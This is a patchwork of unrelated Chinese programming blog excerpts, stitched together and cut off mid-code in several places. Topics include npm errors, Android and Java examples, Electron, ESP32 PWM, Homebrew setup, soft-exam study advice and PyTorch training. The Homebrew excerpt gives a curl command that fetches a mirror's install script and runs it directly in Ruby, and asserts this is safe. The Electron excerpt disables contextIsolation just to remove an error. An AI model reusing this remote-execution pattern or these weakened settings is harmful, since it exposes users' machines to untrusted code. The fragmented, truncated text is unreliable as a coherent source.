npm ERR! code ETARGET
npm ERR! notarget No matching version found for XXX@^1.3.0.
npm ERR! notarget In most cases you or one of your dependencies are requesting
npm ERR! notarget a package version that doesn’t exist.
npm ERR! notarget
npm ERR! notarget It was specified as a dependency of ‘zjsystem-ui’
npm ERR! notarget
说明这个XXX的版本不对,
首先去 https://www.npmjs.com/ 网站搜索这个包,看看是否发布了这个版本:
修改package.json里的版本
然后再npm install就OK了
1、将需求拆分成若干个功能点
2、将职责相近的功能点合并到一个类中
3、根据功能点设计类的属性和方法
4、根据组合、继承、实现等关系来组织类之间的关系
解题思路:
根据题目要求, 当前玩家想要获胜的话, 必须在横竖斜方向有连成排的即获胜
根据测试样例可知, 连成排的那一排和为3
那么当某一排的和为3时则输出true
import java.util.*; public class Board { public boolean checkWon(int[][] board) { boolean b = false; if(board[0][0] + board[1][1] + board[2][2] == 3 || board[0][2] + board[1][1] +board[2][0] == 3){ b = true; } for(int i = 0; i < 3; i++){ if(board[i][0] + board[i][1] + board[i][2] == 3 || board[0][i] + board[1][i] + board[2][i] == 3){ b = true; } } return b; } }
一个神奇的计算器APP 中缀运算效果视频自定义圆形TextView效果图建立attr文件绘制圆形 字符拼接清空栈内元素 运算执行手势监听入栈&&出栈运算结果小数位判断运算代码 任意进制转换效果视频进制转换结果逆置结果返回 中缀运算 中缀运算定义了两个栈,数字栈和符号栈;分别存储用户输入的数字(例如:1,2,3)和输入的符号(例如:+,-);
下列视频以1+2+3/2*3%3为例;首先输入1,然后输入+,通过对运算符点击事件监听,将其分别纳入数字栈和符号栈,然后在输入2和+,即对+进行监听,并取出符号栈栈顶元素,判断其是否为初始化元素,若为否,则将数字栈栈顶元素取出,并获取拼接字符作为另外一个运算数字;(数字栈栈顶元素 &(代表符号栈栈顶元素)拼接字符串)(1+2);得到结果3之后将其压入数字栈中,并将第二个+号压入符号栈,用于下次运算;以此类推…
效果视频 运算
自定义圆形TextView 效果图 建立attr文件 通过对控件手势动作进行监听,改变按钮的样式;即按下为白色,松开为橙色
<resources> <declare-styleable name="SetCircle"> <attr name="CircleColor" format="color"/> <attr name="SelectCircle" format="color"/> </declare-styleable> </resources> 绘制圆形 protected void onDraw(Canvas canvas) { //判断手势动作,改变控件状态 if (isSelect){ CirclePaint.setColor( SelectCircle ); }else { CirclePaint.setColor( CircleColor ); } //设置填充方式 CirclePaint.setStyle( Paint.Style.FILL ); //设置抗锯齿 CirclePaint.setAntiAlias( true ); RectF rectF = new RectF(); //设置半径,比较长宽,取最大值 int radius = getMeasuredWidth() > getMeasuredHeight() ? getMeasuredWidth() : getMeasuredHeight(); rectF.set(getPaddingLeft(),getPaddingTop(),radius-getPaddingRight(),radius-getPaddingBottom()); //绘制圆弧 canvas.
导语 | 本文将介绍在前端开发中页面截图的两种方式,包括对其实现原理和使用方式进行详细阐述,希望能为更多前端开发者提供一些经验和帮助。
一、 背景
页面截图功能在前端开发中,特别是营销场景相关的需求中, 是比较常见的。比如截屏分享,相对于普通的链接分享,截屏分享具有更丰富的展示、更多的信息承载等优势。最近在需求开发中遇到了相关的功能,所以调研了相关的实现和原理。
二、相关技术
前端要实现页面截图的功能,现在比较常见的方式是使用开源的截图npm库,一般使用比较多的npm库有以下两个:
dom-to-image: https://github.com/tsayen/dom-to-image
html2canvas: https://github.com/niklasvh/html2canvas
以上两种常见的npm库,对应着两种常见的实现原理。实现前端截图,一般是使用图形API重新绘制页面生成图片,基本就是SVG(dom-to-image)和Canvas(html2canvas)两种实现方案,两种方案目标相同,即把DOM转为图片,下面我们来分别看看这两类方案。
三、 dom-to-image
dom-to-image库主要使用的是SVG实现方式,简单来说就是先把DOM转换为SVG然后再把SVG转换为图片。
(一)使用方式
首先,我们先来简单了解一下dom-to-image提供的核心api,有如下一些方法:
toSvg (dom转svg)
toPng (dom转png)
toJpeg (dom转jpg)
toBlob (dom转二进制格式)
toPixelData (dom转原始像素值)
如需要生成一张png的页面截图,实现代码如下:
import domtoimage from "domtoimage" const node = document.getElementById('node'); domtoimage.toPng(node,options).then((dataUrl) => { const img = new Image(); img.src = dataUrl; document.body.appendChild(img); }) toPng方法可传入两个参数node和options。
node为要生成截图的dom节点;options为支持的属性配置,具体如下:filter,backgroundColor,width,height,style,quality,imagePlaceholder,cacheBust。
(二)原理分析 dom to image的源码代码不是很多,总共不到千行,下面就拿toPng方法做一下简单的源码解析,分析一下其实现原理,简单流程如下:
整体实现过程用到了几个函数:
toPng(调用draw,实现canvas=>png )
Draw(调用toSvg,实现dom=>canvas)
toSvg(调用cloneNode和makeSvgDataUri,实现dom=>svg)
cloneNode(克隆处理dom和css)
makeSvgDataUri(实现dom=>svg data:url)
toPng
toPng函数比较简单,通过调用draw方法获取转换后的canvas,利用toDataURL转化为图片并返回。
function toPng(node, options) { return draw(node, options || {}) .
1、如题,我在将正点原子的PWM输出代码移植到led的程序上,编译后发现报了七个错误,都是L6218E
2、由于这个是标准库,程序中引用了很多ST官方的库函数,但是你没有引用,所以会报错,对比正点原子的代码内容和我的,发现我的FWLIB中缺少stm32f10x_tim.c
3、一顿操作后将stm32f10x_tim.c添加到FWLIB后,然后重新编译,果然问题解决。
react-onclickoutside
用户界面设计的一个重要规则是,认真评估尽可能多的用户输入。每个人都应该清楚这一点,但是有时可能很难将这样的东西实现为代码。
一个可以想象的例子是用户折叠的菜单。如果你想再次关闭它,90%的用户倾向于简单地点击网站的死区(即那些本身不会产生反应的元素)。在几乎所有的专业网站上,这是完全相同的。要关闭菜单,只需再次单击它的旁边,而不是直接在它上切换。
有一个库可以满足这类的操作,它就是response-onclickoutside,它允许我们处理实际元素之外的单击事件。
在下面的示例中,你可以看到我们如何为一个简单的h1和button实现此功能。仅当单击除这两个之外的任何内容时,console.log才会输出。处理此事件的函数必须调用handleClickOutside。
import React, { Component } from 'react' import onClickOutside from 'react-onclickoutside' class App extends Component { handleClickOutside = evt => { console.log('You clicked outside!') } render() { return ( <div> <h1>Click outside!</h1> <button>Don't click me!</button> </div> ) } } export default onClickOutside(App)
出现了如图的情况
解决方法
第一步
删除图中的Migrations目录下的所有文件
第二步
删除这个包,再重新装上!!
PM> add-migration Intial_one Build started... Build failed. PM> add-migration Intial_one Build started... Build failed. PM> add-migration Intial_one Build started... Build failed. PM> add-migration IntialCreate Build started... Build failed. PM> PM> PM> PM> PM> add-migration IntialCreate Build started... Build succeeded. Microsoft.EntityFrameworkCore.Infrastructure[10403] Entity Framework Core 6.0.2 initialized 'POKEMMONContext' using provider 'Microsoft.EntityFrameworkCore.SqlServer:6.0.2' with options: None To undo this action, use Remove-Migration. PM> add- OK没有了
第一次参加软考是在大三的时候,是一位计算机行业的前辈推荐我去考《计算机软件水平考试》,便在大三的时候一次性通过了软件设计师,结果后来再也没有时间去考这些证书了,直到进了体制内,职称需要,死磕证书。总结原因无非是如下几条:1、已有知识储备。2、有规划的复习、3、刷真题4、记笔记5、持之以恒。
高项共计报了四次名,第一次报名是在决定考试的时候,结果到考前一周书都还没看懂,所以决定不去考试,白白浪费了200多的报名费。第二次复习没有把握战略方向,复习的时候有偏差,觉得自己有开发经验,有项目经验,基础知识学会了,肯定就能过。论文简单准备了几篇。导致上午综合知识46和案例45都过了,论文37挂了。第三次,专心攻克论文,直接准备了10篇(背景来自之前做过的项目)。结果因为基础知识都没看41、36、47只有论文过了
第四次是在2020年的下半年,第三次成绩出来的时候,我就开始复习了。这次,就是一半时间背论文,一半时间基础知识加刷真题。终于工服不负有心人,考过了。
接下来,我先给大家简单介绍一下软考高级。
高项是指软考高级当中的信息系统项目管理师。相对系统规划与管理师、系统分析师相对来说适合没有项目经验的人或者非IT专业的人,因为主要内容是PMP和计算机的一些比较浅显的背诵的知识点,基本上都是在科目一选择题里头考察,考察的不是很深入。很多朋友有问我,高级要不要写代码?告诉你哦~不用写代码(中级,软设是写代码的)。所以很多非科班的人选择高项作为落户加分的证书,因为真的只要背书就好了。
当然,如果有一建二建等PMP管理类证书的考试经验,那考起来更是轻松,可能一次就能考过。
然后这个考试,一共3门,每一门总分75。3门都在45分以上,算通过,任意一科没有45,都要重新在考。整个考试都是纸笔,没有电脑上机器的部分。
之前也看过不少网上的经验帖子,但是都是第二版教材的。
2012年下半年,开始用第二版教材;17年下半年开始用第三版教材,也就是目前的版本资料不多。
区分方法很简单,说10大管理领域的,就是第三版。说九大管理领域的就是第二版。
新版资料不太好找。所以特意写个这个帖子。
然后,我分科目为大家介绍我的复习建议,希望可以帮到大家。
科目一:综合知识
都是选择题75题,9:00-11:30,可以提前交卷。我一般都是提前交卷,然后去吃饭,睡个午觉,下午有精神考。
题目特点,知识点涉及面广,但是没有什么深度。对于计算机专业,或者计算机爱好者来说有关注一些行业信息,稍微刷一刷真题,就能过了。如果计算机知识不是很多,那建议多刷题,然后不知道的知识点去百度里头再稍微扩展一下,或者找计算机专业的人多请教一些,稍微会辛苦一点点。
建议如下:
要背诵ITTO,综合基础知识要用,后面论文也有很大的帮助。错误的题目,要分析错误原因,下次避免。久而久之就能越来越少了。做真题。我不建议去做模拟题,不管什么考试,做真题才知道出题者的思路。模拟题的出题人不是考试出题组的人,毕竟出题组的人说了算的。特别是没有IT经验的人,一定要多做真题,才能知道要把IT知识了解到什么程度。 科目二: 案例分析+计算题
13:30-15:00,知识点都掌握了的话,时间基本上够。主要内容
案例分析
就是背书,10大领域的常见知识点多看看,多背背。知识点有点多,所以要利用好口诀,比如
我自己就这些笔记整理了200多页。当然不要求一字不落,拿满分,但是多写一些内容总能多拿几份,这部分评分是按点答题,答错知识点不要紧,因为改卷是根据答题要点来计分的。案例的分数可以稍微放弃一些的。毕竟75-45=35,还有35分可以拿来扣。
计算题
大家都说得计算者得案例,计算题的分数一定要拿来。无非就是关键路径、单双代号题,这种题就是刷题,把所有真题包括中级系统集成的计算题都做了,知识点就能掌握下来了。不能带计算器,所以算数不要算错。
科目三:论文:
这个我一直觉得是难点,15:20-17:20.要写最少2300字。
我天天敲键盘,很少写字,会提笔忘字的。而且字也不好看。
我的建议是:
稍微练字练一下,不要投入太多时间,但是要稍微学习一下练字的基础知识(我也特意去整理了一下练字的东西)。要背诵ITTO,还有各个过程的作用,功能,意义,因为这个就是论文的核心内容和思路。为了方便背诵论文,我以曾主导过的一个项目为背景,将论文的例子融合到ITTO里头一起背诵。论文练习的时候都拿去手写,这样能提高写字速度。时间允许的话10大领域的论文各写一篇。如果自己没有项目经验,不懂得介绍项目,可以找找周边朋友的项目介绍,切记要真实。实在没把握的话,只能去找人买现成的论文来背诵了。但是最好是10篇都是同一个背景的,毕竟项目不一样,人家人员分配,成本分配,采购的设备等等都是不一样的,买10个不同背景的项目,要背10个项目。同一个项目背景的话,同一个例子是可以在好多个领域里头都拿来用的。(目前我认识的同学中,我是唯一个10篇论文都泄露的还附带整理了思路大纲的) 考试中午,尽量找个地方休息一下,因为下午节奏很紧张,休息好了才能发挥好。
个人感觉,只要下功夫了,一次不行2次,2次不行3次。功夫到了,距离成功就不远了。
最后整理一下我的复习,整理出来的东西。
学习了马、山、阿诺、胡等多位老师的视频100多G
整理了229页的笔记。
10大领域的论文各写一篇(全网唯一同一背景10篇论文)。
一份特制的ITTO(含背诵口诀,英文标注,各个过程的作用意义。结合篇论文标注论文背诵大纲。)
需要本人的复习资料的同学请留言或者私聊我。我看到了会第一时间给大家回复。
作者:znetsoft@foxmail.com
每天多复习一些 软考高级/信息系统项目管理师/高项 知识点,关注我不迷路。
如果觉得有用的话,给我点个赞。
欢迎留言私信,交流学习经验
今天忽然看到 CIFAR10的分类,自己就直接进行了相关备注,给初学者分享一下,如果代码跑不通,可以评论区反馈。一起进步。 整体步骤就是下面5部分。
使用torchvision加载并标准化 CIFAR10 训练和测试数据集定义卷积神经网络定义损失函数根据训练数据训练网络在测试数据上测试网络 1、首先导入包 torchvision.transforms用于进行图片变换(归一化等操作),torchvision含有一些数据集可以直接下载使用,matplotlib用于画图的包,torch.optim用于优化器部分。
import torch import torchvision import torchvision.transforms as transforms import matplotlib.pyplot as plt import numpy as np import torch.nn as nn import torch.nn.functional as F import torch.optim as optim 二、加载数据集 并查看数据集 transform = transforms.Compose( [transforms.ToTensor(),#模型只接受tensor格式 transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))])#进行平均值,方差的标准化 trainset = torchvision.datasets.CIFAR10(root='./data', train=True, download=True, transform=transform)#如果为download=False则表示不需要下载,但是本地必须要有相应的文件 trainloader = torch.utils.data.DataLoader(trainset, batch_size=4, shuffle=True, num_workers=2) #shuffle=True是将数据集的图片打乱,这样有利于训练 testset = torchvision.datasets.CIFAR10(root='./data', train=False, download=True, transform=transform) testloader = torch.
当我们使用electron的时候,想要使用nodejs以及第三方的时候出现Uncaught ReferenceError: require is not defined,这种问题的时候,也许并不是我们的问题而是少了配置。也可能是版本的问题。
如图:
而我们只需要再加一个配置,这个错误提示就会消失,
webPreferences: { nodeIntegration: true, contextIsolation:false // 把这一项加上错误就会消失 } 补充:
nodeIntegration Boolean (可选) - 是否启用Node integration. 默认值为 false.
contextIsolation Boolean (可选) - 是否在独立 JavaScript 环境中运行 Electron API和指定的preload 脚本. 默认值为 false. 预加载脚本所运行的上下文环境只能访问其自身专用的文档和全局窗口,其自身一系列内置的JavaScript (Array, Object, JSON, 等等) 也是如此,这些对于已加载的内容都是不可见的。 Electron API 将只在预加载脚本中可用,在已加载页面中不可用。 这个选项应被用于加载可能不被信任的远程内容时来确保加载的内容无法篡改预加载脚本和任何正在使用的Electron api。 该选项使用的是与Chrome内容脚本相同的技术。 你可以在开发者工具Console选项卡内顶部组合框中选择 'Electron Isolated Context’条目来访问这个上下文。
更多请看文档:Electron文档
在前面,我们已经可以实现游览器和服务器之间的通讯了,但是由于这是一个单线程的程序,所以运行效率低下。现在我们来对程序进行改进,我们让服务器每接收到一个请求就创建一个新的线程来处理请求。
我们对上次代码进行改进。首先先创建一个类来实现Runnable接口实现多线程。
public class RequestHandler implements Runnable{ } 然后在这个类里面定义一个Socket成员属性,并且创建一个构造器来对Socket进行初始化
//定义一个socket对象 private Socket socket = null; //在初始化对象时传入socket public RequestHandler(Socket socket) { this.socket = socket; } 实现Runnable接口的run方法
@Override public void run() { //对请求进行处理 } 我们在这里最重要的是要先实现多线程,其它的实现后面再做。所以我们直接把上一次写的对响应处理的代码部分复制过来即可。然后进行一些简单异常处理。
现在我们和上次一样来创建一个类在8080端口进行循环监听 //得到ServerSocket,在8080端口进行监听 ServerSocket serverSocket = new ServerSocket(8080); System.out.println("---------服务器启动成功----------"); while (!serverSocket.isClosed()) { } 等待客服端的连接
//等待连接 Socket socket = serverSocket.accept(); 如果有连接,那么我们就创建一个新线程进行处理
//创建一个线程来处理请求 RequestHandler requestHandler = new RequestHandler(socket); new Thread(requestHandler).start(); 完整代码如下
import com.clucky.myTomcat.thread.RequestHandler; import java.io.*; import java.net.ServerSocket; import java.net.Socket; public class MyTomcat02 { public static void main(String[] args) { try { //得到ServerSocket,在8080端口进行监听 ServerSocket serverSocket = new ServerSocket(8080); System.
c++课程设计 求n的阶乘、算24点、汉诺塔 这个是我上传的课程设计报告[link]的详细介绍
代码[link]
课程设计题目介绍 求n! 题目要求: 输入任意一个较大的正整数 n(n>1),计算 n!的值。提示:大整数的阶乘结果超出了无符号正整数(4 个字节)的取值范围,因此不能简单采用 n! =n*(n-1)*…*1 的方法来计算。
算二十四点 题目要求: 给定 4 个整数,其中每个数字只能使用一次;任意使用 2 元运算符+ - * / 和() ,构造出一个表达式,使得最终结果为 24,即算 24 点游戏。要求:显示计算过程,并提示成功信息。基本原理是穷举 4 个整数所有可能的表达式,然后对表达式求值。
汉诺塔 题目要求: 输入盘子数 n(n>=2),演示汉诺塔的移动过程,要求:(1)盘子 A, B, C 柱使用字符来绘制,初始时盘子在 A 柱上,通过 B 柱 最终移动到 C 柱上;(2)显示出盘子在几个柱之间的移动过程。
下面是文档部分截图
运行cmd,执行命令,重启Hyper-V服务:
bcdedit /set hypervisorlaunchtype auto
再重启电脑即可
texlive安装完成后把D:\sofeware\texlive\2021\bin\win32(安装目录)添加到了用户变量,我又把它加入到系统变量里面,重启vscode,之后就可以了
视学算法报道
编辑:泽南、小舟
我们终于知道那些折磨人的乐谱是怎么来的了 —— 都是 AI 生成的。
知名偶像企划 LoveLive! 发 AI 论文了,是的没错。
最近,预印版论文平台 arXiv 上的一篇论文引起了人们的注意,其作者来自游戏开发商 KLab 和九州大学。他们提出了一种给偶像歌曲自动写谱的模型,更重要的是,作者表示这种方法其实已经应用过很长一段时间了。
通过深度学习技术,AI 算法在图像分类,语音识别等任务上有了优异的表现,但在理解复杂、非结构化数据方面,机器学习面临的挑战更大,比如理解音频,视频,文本内容,以及它们产生的机制。物理学家费曼曾说过:「凡是我不能亲自创造出来的,我就不是真正理解。」
而随着技术的发展,深度生成模型已在学界和业界获得了广泛应用。在如今的游戏开发过程中,生成模型正在帮助我们构建各种内容,包括图形、声音、角色动作、对话、场景和关卡设计。
KLab 等机构提交的论文介绍了自己的节奏动作游戏生成模型。KLab Inc 是一家智能手机游戏开发商。该公司在线运营的节奏动作游戏包括《Love Live!学院偶像季:群星闪耀》(简称 LLAS)已以 6 种语言在全球发行,获得了上千万用户。已经有一系列具有类似影响的类似游戏,这使得该工作与大量玩家密切相关。
在 LLAS 中,开发者面临的挑战是为不同歌曲生成乐谱,提示玩家在不同时机点击或拉拽按键,这是节奏音乐游戏中所定义的挑战。在一局游戏中,飘过来的按钮被称为音符,它们形成类似于乐谱的空间图案,与后台播放的歌曲节奏对应。一首歌曲存在不同的难度模式,从初级、中级、高级和专家到挑战,复杂度顺序递增。
相对其他音游,LLAS 虽然不怎么考验反应速度,但机制相对复杂得多在全部按准的前提下还有 buff、debuff、三种属性分别对应体力、暴击和分数,想要高分还需要在打歌时不停切换队伍。
由于 LoveLive!是一个有 12 年历史的企划,包含四个团体和数个小团体,个人还有角色歌,很多歌曲都会在游戏中出现,设计对应的乐谱变成了一件极具挑战的工作。
随便一搜就上千首歌曲。
游戏开发者表示,他们的做法是通过 AI 辅助的半自动化方式:先由 AI 生成乐谱,再由 KLab 的艺术家进行微调,另一种方式是 AI 生成低难度乐谱,游戏设计师在这个基础上设计高难度。
KLab 表示,他们使用的 GenéLive! 模型成功地降低了一半业务成本,该模型已部署在公司日常的业务运营中,并在可预见的未来时间里持续应用。
降低乐谱生成的成本对于在线音游开发者来说是一个重要挑战,因为它是日常运营的瓶颈。KLab 提出的方法实现了只需要音频,就可以直接生成乐谱。
在研究过程中,开发者们首先提出了 Dance Dance Convolution (DDC) ,生成了具有人类高水平的,较高难度游戏模式的乐谱,但低难度反而效果不好。随后研究者们通过改进数据集和多尺度 conv-stack 架构,成功捕捉了乐谱中四分音符之间的时间依赖性以及八分音符和提示节拍的位置,它们是音游中放置按键的较好时机。
DDC 由两个子模型组成:onset(生成音符的时机)和 sym(决定音符类型,如轻按或滑动)
目前正在使用的 AI 模型在所有难度的曲谱上都获得了很好的效果,研究人员还展望了该技术扩展到其他领域的可能性。
论文链接:https://arxiv.org/abs/2202.12823
在虚拟机关闭的状态下,在 VirtualBox 中选择 主机->设置->网络->网卡2,勾选 启用网络连接,选择 仅主机(host-only)网络。
启动虚拟机,在虚拟机中打开terminal(快捷键Ctrl+T):
cd /etc/sysconfig/network-scripts cp ifcfg-enp0s3 ifcfg-enp0s8 # 拷贝文件 sudo vi ifcfg-enp0s8 在 ifcfg-enp0s8 文件中修改以下几项:
BOOTPROTO="static"NAME="enp0s8"DEVICE="enp0s8"更改 UUID 最后一位,改成任意其它字母或数字在最后一行添加 IPADDR=192.168.56.XX 更改完保存退出,然后重启服务:
service network restart 查看IP:
ip addr show
进程是在 CPU 及内存中运行的程序代码,而每个进程可以创建一个或多个进程(父子进程)。
查看进程方法
第一种: ps aux ps命令用于报告当前系统的进程状态。可以搭配kill指令随时中断、删除不必要的程序。ps命令是最基本同时也是非常强大的进程查看命令,使用该命令可以确定有哪些进程正在运行和运行的状态、进程是否结束、进程有没有僵死、哪些进程占用了过多的资源等等,总之大部分信息都是可以通过执行该命令得到的。
a:显示当前终端下的所有进程信息,包括其他用户的进程。u:使用以用户为主的格式输出进程信息。x:显示当前用户在所有终端下的进程。 示例:
上图中各字段解释:
USER:启动该进程的用户账号名称 PID:该进程的ID号,在当前系统中是唯一的 %CPU:CPU占用的百分比 %MEM:内存占用的百分比VSZ:占用虚拟内存(swap空间)的大小 RSS:占用常驻内存(物理内存)的大小TTY:该进程在哪个终端上运行。“?”表未知或不需要终端 STAT:显示了进程当前的状态,如S(休眠)、R(运行)、Z(僵死)、<(高优先级)、N(低优先级)、s(父进程)、+(前台进程)。对处于僵死状态的进程应予以手动终止。START:启动该进程的时间 TIME:该进程占用CPU时间 COMMAND:启动该进程的命令的名称 总结:ps aux 是以简单列表的形式显示出进程信息。
第二种: ps -elf -e:显示系统内的所有进程信息。-l:使用长(long)格式显示进程信息。-f:使用完整的(full)格式显示进程信息。 上图字段解释: 大部分跟第一种一样,PPID为父进程的PID。
第三种: top 以全屏交互式的界面显示进程排名,及时跟踪包括CPU、内存等系统资源占用情况,默认情况下每三秒刷新一次,其作用基本类似于Windows系统中的任务管理器。
上图解释:
Tasks(系统任务)信息:total,总进程数;running,正在运行的进程数;sleeping,休眠的进程数;stopped,中止的进程数;zombie,僵死无响应的进程数。CPU信息:us,用户占用;sy,内核占用;ni,优先级调度占用;id,空闲CPU;wa,I/O等待占用;hi,硬件中断占用;si,软件中断占用;st,虚拟化占用。了解空闲的CPU百分比,主要看%id部分。Mem(内存)信息:total,总内存空间;used,已用内存;free,空闲内存;buffers,缓存区域。Swap(交换空间)信息:total,总交换空间;used,已用交换空间;free,空闲交换空间;cached,缓存空间。 第四种: pstree -aup 以树状图的方式展现进程之间的派生关系,显示效果比较直观。 -a:显示每个程序的完整指令,包含路径,参数或是常驻服务的标示; -c:不使用精简标示法; -G:使用VT100终端机的列绘图字符; -h:列出树状图时,特别标明现在执行的程序; -H<程序识别码>:此参数的效果和指定”-h”参数类似,但特别标明指定的程序; -l:采用长列格式显示树状图; -n:用程序识别码排序。预设是以程序名称来排序; -p:显示程序识别码; -u:显示用户名称;
到此这篇关于LINUX查看进程的4种方法(小结)的文章就介绍到这了
单词接龙 II
按字典 wordList 完成从单词 beginWord 到单词 endWord 转化,一个表示此过程的 转换序列 是形式上像 beginWord -> s1 -> s2 -> … -> sk 这样的单词序列,并满足: 每对相邻的单词之间仅有单个字母不同。
转换过程中的每个单词 si(1 <= i <= k)必须是字典 wordList 中的单词。注意,beginWord 不必是字典 wordList 中的单词。
sk == endWord
给你两个单词 beginWord 和 endWord ,以及一个字典 wordList 。请你找出并返回所有从 beginWord 到 endWord 的 最短转换序列 ,如果不存在这样的转换序列,返回一个空列表。每个序列都应该以单词列表 [beginWord, s1, s2, …, sk] 的形式返回。
示例 1:
输入:beginWord = “hit”, endWord = “cog”, wordList = [“hot”,“dot”,“dog”,“lot”,“log”,“cog”]
输出:[[“hit”,“hot”,“dot”,“dog”,“cog”],[“hit”,“hot”,“lot”,“log”,“cog”]]
解释:存在 2 种最短的转换序列:
新换的Mac本,拿到手里,有点烫手,哈哈哈,什么环境都重新安装,检查了一下brew,需要安装,整个安装过程记录如下:
第一种方法: 第二次安装的时候发现还有更快的安装方法如下:
brew 镜像安装脚本(亲测最快速最有效)
/usr/bin/ruby -e "$(curl -fsSL https://cdn.jsdelivr.net/gh/ineo6/homebrew-install/install)" 该脚本用了中科大镜像加速访问,仅修改仓库地址部分,不会产生安全隐患。 关于中科大所提供的 Homebrew 镜像服务 https://lug.ustc.edu.cn/wiki/mirrors/help/brew.git
注:注意这里的速度,几百kib/s或几m/s才是正常的。若只有几kib/s,通常为无效的安装方法,一般加载了百分之几十后就会报错。
作者:一个寻梦少年
链接:https://www.jianshu.com/p/e0471aa6672d
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
第二种方法:安装过程: 1、访问:GitHub - Homebrew/brew: 🍺 The missing package manager for macOS (or Linux)
出现如上界面的话,网速不好,找个网速好的地方刷新,多刷几次就好了
2、出来的界面,点击 install.sh,去查看最新的安装命令:
3、复制最新的安装命令至终端中粘贴,然后回车:
4、失败了,说明GitHub连接不上,我们去查看GitHub相关的IP地址:
获取 github.com 相关网站的 ip
访问地址:The Best IP Address, Email and Networking Tools - IPAddress.com
在输入框中输入 github.com ,点击搜索图标,出来后,复制IP到自己本地的文本框中
再在输入框中输入:github.global.ssl.fastly.net
复制ip 地址到自己本地的文本框中。
5、打开本地hosts文件备份:
打开访达文件夹-->然后按command+shift+g-->然后输入/etc/hosts-->回车
然后备份hosts文件至桌面
6、打开终端,编辑hosts文件:
在文件中输入刚刚复制的IP地址,进行配置,配置完成后esc退出,shift+分号,然后wq保存:
140.82.112.4 github.com
199.232.69.194 github.global.ssl.Fastly.net
7、在终端ping github.com,时好时坏的,说明还是不稳定,所以最好找个网好的时间段干这个事情😏😏😏😏😏😏
1 ESP32上的PWM资源 ESP32本身提供了两种PWM输出,分别是
1.1 LED PWM 控制器 (LEDC) ESP32上提供最高16路 LEDC的PWM输出,其中8路为高速PWM,8路为低速PWM,而高低速通道都分别含有4个对应的高/低速时钟。
该PWM输出主要针对LED的驱动(但实际应用中不限制)。这个针对是因为其预定义了类似逐渐增加占空比等操作,可以在不占用处理器资源的情况下,实现对亮度(幅值)和颜色(频率)的调控。
1.2 电机控制脉宽调制器 (MCPWM) ESP32提供6个该PWM输出,含有两个MCPWM外设,每个外设可以提供3个PWM通道。
该PWM个人理解是包含更多高级的功能,但对于PWM波形的控制则相对没有LEDC的精细。
结构如下图所示,可以看到除了分频器、计时器、和操作器外,还包含了错误检测,专用捕获模块(例如捕获电机转速等)
2 ESP32-Arduino使用PWM资源 首先,上述的两个资源并不都在ESP32-Arduino上提供支持,仅LEDC提供支持(查询支持的外设)。
因此我们下文主要集中在LEDC中。但参考上一篇blogESP32+Arduino+VS code开发环境搭建+BLINK,若确实需要MCPWM,可以考虑在程序中调用ESP-IDF的语法去使用,这应该是可能的。
2.1 LEDC的频率与解析度 与Arduino Uno板的8位固定PWM解析度不同,ESP32的PWM解析度是动态的,与设定相关。
解析度:即输出PWM波输出中,对时间的离散化精度,对应的结果,若是等频率,改变占空比以改变等效幅值的应用中,会得到更精细的等效电压输出。例如,对于UNO,8位的解析度,则最小的变化电压是1/256*3.3V=0.01289V,而若是10位的解析度,则为0.0032V。
对于ESP32的LEDC输出,其最高解析度可以根据下式计算并向下取整,具体原因可参照下一节的解析。
[ l o g 2 ( 80 M H z P W M 输 出 频 率 ) ] f l o o r [log_2(\frac{80MHz}{PWM输出频率})]_{floor} [log2(PWM输出频率80MHz)]floor
2.2 LEDC的结构 其中一路高速时钟+高速通道的结构如下所示,下面参照这一路对PWM波形产生的过程进行解释。
时钟输入
在高速分频器中,可以选择REF_TICK或APB_CLK,REF_TICK是APB_CLK经过分频后再得到的,因此小于APB_CLK。
默认情况下(即不对CPU的时钟进行修改),APB_CLK=80MHz。 一般来说,CPU在低功耗时,会采用RTC8M_CLK时钟工作,LEDC的低速通道可以采用REF_TICK或SLOW_CLOCK进行工作,而SLOW_CLOCK时钟可以选择采用RTC8M_CLK工作。
即当ESP32进入低功耗时,所有的外设都会应APB_CLK关闭而不能工作,而低速LEDC则可以正常工作,可以实现待机亮灯的操作。
信号频率配置
时钟信号会依次经过分频器和计数器,产生供后续比较用的信号。
计数器的周期直接决定了最后PWM的周期,即,如下图所示,从0到溢出值的过程对应了PWM波形的一个周期。
而频率的计算则如下式所示:
f P W M = f c l o c k 分 频 系 数 ∗ 溢 出 值 f_{PWM}=\frac{f_{clock}}{分频系数*溢出值} fPWM=分频系数∗溢出值fclock
本篇博客是《手把手实战教学!语义分割从0到1》系列的第二篇实战教学——模型的训练,将首先介绍一些常见模型,然后重点讲解如何使用自己的数据集训练一个语义分割模型。模型训练主要参考了这个开源库:GitHub - qq995431104/pytorch_segmentation: Semantic segmentation models, datasets and losses implemented in PyTorch.。
本系列总的介绍,以及其他章节的汇总,见:手把手实战教学!语义分割从0到1:开篇_AI数据工厂-CSDN博客_语义分割实战。
目录
1、常用的语义分割网络
2、训练自己的语义分割模型
2.1、数据准备
2.2、代码准备
2.3、修改配置文件
2.4、Dataset及DataLoader
2.5、开始训练
2.6、查看训练状态
3、下篇预告
1、常用的语义分割网络 从FCN开始,语义分割正式进入了深度学习时代,此后,U-Net、SegNet、PSPNet、DeepLab系列各种网络层出不穷。如果需要进一步了解各个网络的相关知识点,可以参考我的专栏:https://blog.csdn.net/oyezhou/category_10704356.html,该专栏包含了语义分割多个网络的介绍以及其他知识点。
我们本篇博客将利用DeepLabV3+进行实战。
2、训练自己的语义分割模型 2.1、数据准备 在本系列博客的上一篇《手把手实战教学!语义分割从0到1:一、数据集制作》介绍了如何制作语义分割数据集,如果按照上面的说明一步一步走,应该现在已经有了一批标注并转换好的VOC格式的分割数据集。我们把做好的数据集放到某个目录下备用。
2.2、代码准备 先从GitHub - qq995431104/pytorch_segmentation: Semantic segmentation models, datasets and losses implemented in PyTorch.把我们用到的开源库git clone下来。然后,按照requirements的要求安装好对应的库。
该开源代码包含了多个分割网络,如FCN、U-Net、PSPNet、DeepLabv3+,均可通过配置相应参数来使用。
2.3、修改配置文件 该开源代码为了统一配置我们的训练参数,做了一个配置文件(pytorch_segmentation/config.json),里面可以配置网络的backbone、分割模型、数据集、优化器、loss以及其他超参。
我们这里使用的数据集是VOC类型的,然后用的模型为DeepLabV3+,总的配置如下:
{ "name": "DeepLabv3_plus", "n_gpu": 1, "use_synch_bn": true, "arch": { "type": "DeepLab", "args": { "backbone": "resnet101", "freeze_bn": false, "freeze_backbone": false } }, "train_loader": { "
